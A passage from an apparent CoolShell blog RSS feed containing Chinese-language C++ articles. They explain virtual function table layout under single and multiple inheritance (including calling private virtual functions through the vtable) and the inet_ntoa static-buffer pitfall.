Table）来实现的。简称为V-Table。在这个表中，主是要一个类的虚函数的地址表，这张表解决了继承、覆盖的问题，保证其容真实反应实际的函数。这样，在有虚函数的类的实例中这个表被分配在了这个实例的内存中，所以，当我们用父类的指针来操作一个子类的时候，这张虚函数表就显得由为重要了，它就像一个地图一样，指明了实际所应该调用的函数。</p>\n<p>这里我们着重看一下这张虚函数表。C++的编译器应该是保证虚函数表的指针存在于对象实例中最前面的位置（这是为了保证取到虚函数表的有最高的性能——如果有多层继承或是多重继承的情况下）。 这意味着我们通过对象实例的地址得到这张虚函数表，然后就可以遍历其中函数指针，并调用相应的函数。</p>\n<p>听我扯了那么多，我可以感觉出来你现在可能比以前更加晕头转向了。 没关系，下面就是实际的例子，相信聪明的你一看就明白了。</p>\n<p><span id=\"more-12165\"></span></p>\n<p>假设我们有这样的一个类：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">class Base {\n     public:\n            virtual void f() { cout &lt;&lt; &quot;Base::f&quot; &lt;&lt; endl; }\n            virtual void g() { cout &lt;&lt; &quot;Base::g&quot; &lt;&lt; endl; }\n            virtual void h() { cout &lt;&lt; &quot;Base::h&quot; &lt;&lt; endl; }\n\n};</pre>\n<p>按照上面的说法，我们可以通过Base的实例来得到虚函数表。 下面是实际例程：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">typedef void(*Fun)(void);\n\nBase b;\n\nFun pFun = NULL;\n\ncout &lt;&lt; &quot;虚函数表地址：&quot; &lt;&lt; (int*)(&amp;b) &lt;&lt; endl;\ncout &lt;&lt; &quot;虚函数表 — 第一个函数地址：&quot; &lt;&lt; (int*)*(int*)(&amp;b) &lt;&lt; endl;\n\n// Invoke the first virtual function\npFun = (Fun)*((int*)*(int*)(&amp;b));\npFun();</pre>\n<p>实际运行经果如下：(Windows XP+VS2003, Linux 2.6.22 + GCC 4.1.3)</p>\n<p style=\"padding-left: 30px;\">虚函数表地址：0012FED4<br />\n虚函数表 — 第一个函数地址：0044F148<br />\nBase::f</p>\n<p>通过这个示例，我们可以看到，我们可以通过强行把&amp;b转成int *，取得虚函数表的地址，然后，再次取址就可以得到第一个虚函数的地址了，也就是Base::f()，这在上面的程序中得到了验证（把int* 强制转成了函数指针）。通过这个示例，我们就可以知道如果要调用Base::g()和Base::h()，其代码如下：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">(Fun)*((int*)*(int*)(&amp;b)+0);  // Base::f()\n(Fun)*((int*)*(int*)(&amp;b)+1);  // Base::g()\n(Fun)*((int*)*(int*)(&amp;b)+2);  // Base::h()</pre>\n<p>这个时候你应该懂了吧。什么？还是有点晕。也是，这样的代码看着太乱了。没问题，让我画个图解释一下。如下所示：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-12166\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/01.jpg\" alt=\"01\" width=\"331\" height=\"129\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/12/01.jpg 331w, https://coolshell.cn/wp-content/uploads/2014/12/01-300x117.jpg 300w\" sizes=\"(max-width: 331px) 100vw, 331px\" /></p>\n<p>注意：在上面这个图中，我在虚函数表的最后多加了一个结点，这是虚函数表的结束结点，就像字符串的结束符“/0”一样，其标志了虚函数表的结束。这个结束标志的值在不同的编译器下是不同的。在WinXP+VS2003下，这个值是NULL。而在Ubuntu 7.10 + Linux 2.6.22 + GCC 4.1.3下，这个值是如果1，表示还有下一个虚函数表，如果值是0，表示是最后一个虚函数表。</p>\n<p>下面，我将分别说明“无覆盖”和“有覆盖”时的虚函数表的样子。没有覆盖父类的虚函数是毫无意义的。我之所以要讲述没有覆盖的情况，主要目的是为了给一个对比。在比较之下，我们可以更加清楚地知道其内部的具体实现。</p>\n<h4>一般继承（无虚函数覆盖）</h4>\n<p>下面，再让我们来看看继承时的虚函数表是什么样的。假设有如下所示的一个继承关系：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-12167\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/02.jpg\" alt=\"02\" width=\"78\" height=\"194\" /></p>\n<p>请注意，在这个继承关系中，子类没有重载任何父类的函数。那么，在派生类的实例中，其虚函数表如下所示：</p>\n<p>对于实例：Derive d; 的虚函数表如下：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-12168\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/03.jpg\" alt=\"03\" width=\"551\" height=\"124\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/12/03.jpg 551w, https://coolshell.cn/wp-content/uploads/2014/12/03-300x67.jpg 300w\" sizes=\"(max-width: 551px) 100vw, 551px\" /></p>\n<p>我们可以看到下面几点：<br />\n1）虚函数按照其声明顺序放于表中。<br />\n2）父类的虚函数在子类的虚函数前面。</p>\n<p>我相信聪明的你一定可以参考前面的那个程序，来编写一段程序来验证。</p>\n<h4>一般继承（有虚函数覆盖）</h4>\n<p>覆盖父类的虚函数是很显然的事情，不然，虚函数就变得毫无意义。下面，我们来看一下，如果子类中有虚函数重载了父类的虚函数，会是一个什么样子？假设，我们有下面这样的一个继承关系。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-12169\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/04.jpg\" alt=\"04\" width=\"78\" height=\"194\" /></p>\n<p>为了让大家看到被继承过后的效果，在这个类的设计中，我只覆盖了父类的一个函数：f()。那么，对于派生类的实例，其虚函数表会是下面的一个样子：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-12170\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/05.jpg\" alt=\"05\" width=\"500\" height=\"124\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/12/05.jpg 500w, https://coolshell.cn/wp-content/uploads/2014/12/05-300x74.jpg 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></p>\n<p>我们从表中可以看到下面几点，<br />\n1）覆盖的f()函数被放到了虚表中原来父类虚函数的位置。<br />\n2）没有被覆盖的函数依旧。</p>\n<p>这样，我们就可以看到对于下面这样的程序，</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">Base *b = new Derive();\n\nb-&gt;f();</pre>\n<p>由b所指的内存中的虚函数表的f()的位置已经被Derive::f()函数地址所取代，于是在实际调用发生时，是Derive::f()被调用了。这就实现了多态。</p>\n<h4>多重继承（无虚函数覆盖）</h4>\n<p>下面，再让我们来看看多重继承中的情况，假设有下面这样一个类的继承关系。注意：子类并没有覆盖父类的函数。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-12171\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/06.jpg\" alt=\"06\" width=\"282\" height=\"192\" /></p>\n<p>对于子类实例中的虚函数表，是下面这个样子：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-12172\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/07.jpg\" alt=\"07\" width=\"493\" height=\"173\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/12/07.jpg 493w, https://coolshell.cn/wp-content/uploads/2014/12/07-300x105.jpg 300w\" sizes=\"(max-width: 493px) 100vw, 493px\" /></p>\n<p>我们可以看到：<br />\n1） 每个父类都有自己的虚表。<br />\n2） 子类的成员函数被放到了第一个父类的表中。（所谓的第一个父类是按照声明顺序来判断的）</p>\n<p>这样做就是为了解决不同的父类类型的指针指向同一个子类实例，而能够调用到实际的函数。</p>\n<h4>多重继承（有虚函数覆盖）</h4>\n<p>下面我们再来看看，如果发生虚函数覆盖的情况。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-12173\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/08.jpg\" alt=\"08\" width=\"282\" height=\"192\" /></p>\n<p>下图中，我们在子类中覆盖了父类的f()函数。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-12174\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/09.jpg\" alt=\"09\" width=\"420\" height=\"173\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/12/09.jpg 420w, https://coolshell.cn/wp-content/uploads/2014/12/09-300x123.jpg 300w\" sizes=\"(max-width: 420px) 100vw, 420px\" /></p>\n<p>下面是对于子类实例中的虚函数表的图：</p>\n<p>我们可以看见，三个父类虚函数表中的f()的位置被替换成了子类的函数指针。这样，我们就可以任一静态类型的父类来指向子类，并调用子类的f()了。如：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">Derive d;\nBase1 *b1 = &amp;d;\nBase2 *b2 = &amp;d;\nBase3 *b3 = &amp;d;\nb1-&gt;f(); //Derive::f()\nb2-&gt;f(); //Derive::f()\nb3-&gt;f(); //Derive::f()\n\nb1-&gt;g(); //Base1::g()\nb2-&gt;g(); //Base2::g()\nb3-&gt;g(); //Base3::g()</pre>\n<h4>安全性</h4>\n<p>每次写C++的文章，总免不了要批判一下C++。这篇文章也不例外。通过上面的讲述，相信我们对虚函数表有一个比较细致的了解了。水可载舟，亦可覆舟。下面，让我们来看看我们可以用虚函数表来干点什么坏事吧。</p>\n<h5>一、通过父类型的指针访问子类自己的虚函数</h5>\n<p>我们知道，子类没有重载父类的虚函数是一件毫无意义的事情。因为多态也是要基于函数重载的。虽然在上面的图中我们可以看到Base1的虚表中有Derive的虚函数，但我们根本不可能使用下面的语句来调用子类的自有虚函数：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">Base1 *b1 = new Derive();\nb1-&gt;f1();  //编译出错</pre>\n<p>任何妄图使用父类指针想调用子类中的<strong>未覆盖父类的成员函数</strong>的行为都会被编译器视为非法，所以，这样的程序根本无法编译通过。但在运行时，我们可以通过指针的方式访问虚函数表来达到违反C++语义的行为。（关于这方面的尝试，通过阅读后面附录的代码，相信你可以做到这一点）</p>\n<h5>二、访问non-public的虚函数</h5>\n<p>另外，如果父类的虚函数是private或是protected的，但这些非public的虚函数同样会存在于虚函数表中，所以，我们同样可以使用访问虚函数表的方式来访问这些non-public的虚函数，这是很容易做到的。</p>\n<p>如：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">class Base {\n    private:\n            virtual void f() { cout &lt;&lt; &quot;Base::f&quot; &lt;&lt; endl; }\n\n};\n\nclass Derive : public Base{\n\n};\n\ntypedef void(*Fun)(void);\n\nvoid main() {\n    Derive d;\n    Fun  pFun = (Fun)*((int*)*(int*)(&amp;d)+0);\n    pFun();\n}</pre>\n<h4>结束语</h4>\n<p>C++这门语言是一门Magic的语言，对于程序员来说，我们似乎永远摸不清楚这门语言背着我们在干了什么。需要熟悉这门语言，我们就必需要了解C++里面的那些东西，需要去了解C++中那些危险的东西。不然，这是一种搬起石头砸自己脚的编程语言。</p>\n<h5>附录一：VC中查看虚函数表</h5>\n<p>我们可以在VC的IDE环境中的Debug状态下展开类的实例就可以看到虚函数表了（并不是很完整的）</p>\n<h5>附录 二：例程</h5>\n<p>下面是一个关于多重继承的虚函数表访问的例程：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include &lt;iostream&gt;\nusing namespace std;\n\nclass Base1 {\npublic:\n            virtual void f() { cout &lt;&lt; &quot;Base1::f&quot; &lt;&lt; endl; }\n            virtual void g() { cout &lt;&lt; &quot;Base1::g&quot; &lt;&lt; endl; }\n            virtual void h() { cout &lt;&lt; &quot;Base1::h&quot; &lt;&lt; endl; }\n\n};\n\nclass Base2 {\npublic:\n            virtual void f() { cout &lt;&lt; &quot;Base2::f&quot; &lt;&lt; endl; }\n            virtual void g() { cout &lt;&lt; &quot;Base2::g&quot; &lt;&lt; endl; }\n            virtual void h() { cout &lt;&lt; &quot;Base2::h&quot; &lt;&lt; endl; }\n};\n\nclass Base3 {\npublic:\n            virtual void f() { cout &lt;&lt; &quot;Base3::f&quot; &lt;&lt; endl; }\n            virtual void g() { cout &lt;&lt; &quot;Base3::g&quot; &lt;&lt; endl; }\n            virtual void h() { cout &lt;&lt; &quot;Base3::h&quot; &lt;&lt; endl; }\n};\n\nclass Derive : public Base1, public Base2, public Base3 {\npublic:\n            virtual void f() { cout &lt;&lt; &quot;Derive::f&quot; &lt;&lt; endl; }\n            virtual void g1() { cout &lt;&lt; &quot;Derive::g1&quot; &lt;&lt; endl; }\n};\n\ntypedef void(*Fun)(void);\n\nint main()\n{\n            Fun pFun = NULL;\n\n            Derive d;\n            int** pVtab = (int**)&amp;d;\n\n            //Base1&#039;s vtable\n            //pFun = (Fun)*((int*)*(int*)((int*)&amp;d+0)+0);\n            pFun = (Fun)pVtab[0][0];\n            pFun();\n\n            //pFun = (Fun)*((int*)*(int*)((int*)&amp;d+0)+1);\n            pFun = (Fun)pVtab[0][1];\n            pFun();\n\n            //pFun = (Fun)*((int*)*(int*)((int*)&amp;d+0)+2);\n            pFun = (Fun)pVtab[0][2];\n            pFun();\n\n            //Derive&#039;s vtable\n            //pFun = (Fun)*((int*)*(int*)((int*)&amp;d+0)+3);\n            pFun = (Fun)pVtab[0][3];\n            pFun();\n\n            //The tail of the vtable\n            pFun = (Fun)pVtab[0][4];\n            cout&lt;&lt;pFun&lt;&lt;endl;\n\n            //Base2&#039;s vtable\n            //pFun = (Fun)*((int*)*(int*)((int*)&amp;d+1)+0);\n            pFun = (Fun)pVtab[1][0];\n            pFun();\n\n            //pFun = (Fun)*((int*)*(int*)((int*)&amp;d+1)+1);\n            pFun = (Fun)pVtab[1][1];\n            pFun();\n\n            pFun = (Fun)pVtab[1][2];\n            pFun();\n\n            //The tail of the vtable\n            pFun = (Fun)pVtab[1][3];\n            cout&lt;&lt;pFun&lt;&lt;endl;\n\n            //Base3&#039;s vtable\n            //pFun = (Fun)*((int*)*(int*)((int*)&amp;d+1)+0);\n            pFun = (Fun)pVtab[2][0];\n            pFun();\n\n            //pFun = (Fun)*((int*)*(int*)((int*)&amp;d+1)+1);\n            pFun = (Fun)pVtab[2][1];\n            pFun();\n\n            pFun = (Fun)pVtab[2][2];\n            pFun();\n\n            //The tail of the vtable\n            pFun = (Fun)pVtab[2][3];\n            cout&lt;&lt;pFun&lt;&lt;endl;\n\n            return 0;\n}</pre>\n<p><strong>注：本文年代久远，所有的示例都是在32位机上跑的。</strong></p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/12165.html\">C++ 虚函数表解析</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/12165.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>39</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C/C++返回内部静态成员的陷阱</title>\n\t\t<link>https://coolshell.cn/articles/12192.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/12192.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 16 Nov 2006 02:12:11 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=12192</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在我们用C/C++开发的过程中，总是有一个问题会给我们带来苦恼。这个问题就是函数内和函数外代码需要通过一块内存来交互（比如，函数返回字符串），这个问题困扰和很多...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/12192.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/12192.html\">C/C++返回内部静态成员的陷阱</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p align=\"left\">在我们用C/C++开发的过程中，总是有一个问题会给我们带来苦恼。这个问题就是函数内和函数外代码需要通过一块内存来交互（比如，函数返回字符串），这个问题困扰和很多开发人员。如果你的内存是在函数内栈上分配的，那么这个内存会随着函数的返回而被弹栈释放，所以，你一定要返回一块函数外部还有效的内存。</p>\n<p>这是一个让无数人困扰的问题。如果你一不小心，你就很有可能在这个上面犯错误。当然目前有很多解决方法，如果你熟悉一些标准库的话，你可以看到许多各式各样的解决方法。大体来说有下面几种：</p>\n<p>1）在函数内部通过malloc或new在堆上分配内存，然后把这块内存返回（因为在堆上分配的内存是全局可见的）。这样带来的问题就是潜在的内存问题。因为，如果返回出去的内存不释放，那么就是memory Leak。或者是被多次释放，从而造成程序的crash。这两个问题都相当的严重，所以这种设计方法并不推荐。（在一些Windows API中，当你调用了一些API后，你必需也要调用他的某些API来释放这块内存）</p>\n<p>2）让用户传入一块他自己的内存地址，而在函数中把要返回的内存放到这块内存中。这是一个目前普遍使用的方式。很多Windows API函数或是标准C函数都需要你传入一个buffer和这个buffer的长度。这种方式对我们来说应该是屡见不鲜了。这种方式的好处就是由函数外部的程序来维护这块内存，比较简显直观。但问题就是在使用上稍许有些麻烦。不过这种方式把犯错误的机率减到了最低。</p>\n<p>3）第三种方式显得比较另类，他利用了static的特性，static的栈内存一旦分配，那这块内存不会随着函数的返回而释放，而且，它是全局可见的（只要你有这块内存的地址）。所以，有一些函数使用了static的这个特性，即不用使用堆上的内存，也不需要用户传入一个buffer和其长度。从而，使用得自己的函数长得很漂亮，也很容易使用。</p>\n<p>这里，我想对第三个方法进行一些讨论。使用static内存这个方法看似不错，但是它有让你想象不到的陷阱。让我们来用一个实际发生的案例来举一个例子吧。</p>\n<p><span id=\"more-12192\"></span></p>\n<h4><strong>示例</strong></h4>\n<p>有过socket编程经验的人一定知道一个函数叫：inet_ntoa，这个函数主要的功能是把一个数字型的IP地址转成字符串，这个函数的定义是这样的（注意它的返回值）：</p>\n<p align=\"center\"><strong><span style=\"font-size: medium;\">char *inet_ntoa(struct in_addr in);</span></strong></p>\n<p align=\"left\">显然，这个函数不会分配堆上的内存，而他又没有让你传一下字符串的buffer进入，那么他一定使用“返回static char[]”这种方法。在我们继续我们的讨论之前，让我们先了解一下IP地址相关的知识，下面是inet_ntoa这个函数需要传入的参数：（也许你会很奇怪，只有一个member的struct还要放在struct中干什么？这应该是为了程序日后的扩展性的考虑）</p>\n<p><span style=\"font-size: medium;\"><strong>struct in_addr {<br />\nunsigned long int s_addr;<br />\n}<br />\n</strong><br />\n</span>对于IPV4来说，一个IP地址由四个8位的bit组成，其放在s_addr中，高位在后，这是为了方便网络传输。如果你得到的一个s_addr的整型值是：3776385196。那么，打开你的Windows计算器吧，看看它的二进制是什么？让我们从右到左，8位为一组（如下所示）。</p>\n<p align=\"center\"><span style=\"font-size: medium;\">11100001   00010111    00010000    10101100</span></p>\n<p align=\"left\">再把每一组转成十进制，于是我们就得到：225   23   16   172， 于是IP地址就是 172.16.23.225。</p>\n<p>好了，言归正传。我们有这样一个程序，想记录网络包的源地址和目地地址，于是，我们有如下的代码：</p>\n<p align=\"left\">\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">struct in_addr src, des;\n........\n........\nfprintf(fp, &quot;源IP地址&lt;%s&gt;/t目的IP地址&lt;%s&gt;/n&quot;, inet_ntoa(src),   inet_ntoa(des));</pre>\n</p>\n<p>会发生什么样的结果呢？你会发现记录到文件中的源IP地址和目的IP地址完全一样。这是什么问题呢？于是你开始调试你的程序，你发现src.s_addr和des.s_addr根本不一样（如下所示）。可为什么输出到文件的源和目的都是一样的？难道说是inet_ntoa的bug？</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">src.s_addr = 3776385196;    //对应于172.16.23.225\ndes.s_addr = 1678184620;  //对应于172.16.7.100</pre>\n<p>原因就是inet_ntoa()“自作聪明”地把内部的static char[]返回了，而我们的程序正是踩中了这个陷阱。让我们来分析一下fprintf代码。在我们fprintf时，编译器先计算inet_ntoa(des)，于是其返回一个字符串的地址，然后程序再去求inet_ntoa(src)表达式，又得到一个字符串的地址。这两个字符串的地址都是inet_ntoa()中那个static char[]，显然是同一个地址，而第二次求src的IP时，这个值的des的IP地址内容必将被src的IP覆盖。所以，这两个表达式的字符串内存都是一样的了，此时，程序会调用fprintf把这两个字符串（其实是一个）输出到文件。所以，得到相同的结果也就不奇怪。</p>\n<p>仔细看一下inet_ntoa的man，我们可以看到这句话：<strong>The string is returned in a statically allocated buffer,  which  subsequent calls will overwrite.</strong> 证实了我们的分析。</p>\n<h4><strong>小结</strong></h4>\n<p>让我们大家都扪心自问一下，我们在写程序的过程当中是否使用了这种方法？这是一个比较危险，容易出错的方法。这种陷阱让人防不胜防。想想，如果你有这样的程序：</p>\n<p>if ( strcmp( inet_ntoa(ip1), inet_ntoa(ip2) )==0 ) {<br />\n&#8230;. &#8230;.<br />\n}</p>\n<p>本想判断一下两个IP地址是否一样，却不料掉入了那个陷阱——让这个条件表达式永真。</p>\n<p>这个事情告诉我们下面几个道理：</p>\n<p>1）慎用这种方式的设计。返回函数内部的static内存有很大的陷阱。<br />\n2）如果一定要使用这种方式的话。你就必须严肃地告诉所有使用这个函数的人，千万不要在一个表达式中多次使用这个函数。而且，还要告诉他们，不copy函数返回的内存的内容，而只是保存返回的内存地址或是引用是没用的。不然的话，后果概不负责。<br />\n3）C/C++是很危险的世界，如果你不清楚他的话。还是回火星去吧。</p>\n<p>附：看过Efftive C++的朋友一定知道其中有一个条款（item 23）：不要试图返回对象的引用。这个条款中也对是否返回函数内部的static变量进行了讨论。结果也是持否定态度的。</p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/12192.html\">C/C++返回内部静态成员的陷阱</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/12192.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>8</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C++ STL string的Copy-On-Write技术</title>\n\t\t<link>https://coolshell.cn/articles/12199.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/12199.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 23 Jun 2004 02:36:50 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[STL]]></category>\n\t\t<category><![CDATA[String]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=12199</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Scott Meyers在《More Effective C++》中举了个例子，不知你是否还记得？在你还在上学的时候，你的父母要你不要看电视，而去复习功课，于是...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/12199.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/12199.html\">C++ STL string的Copy-On-Write技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - 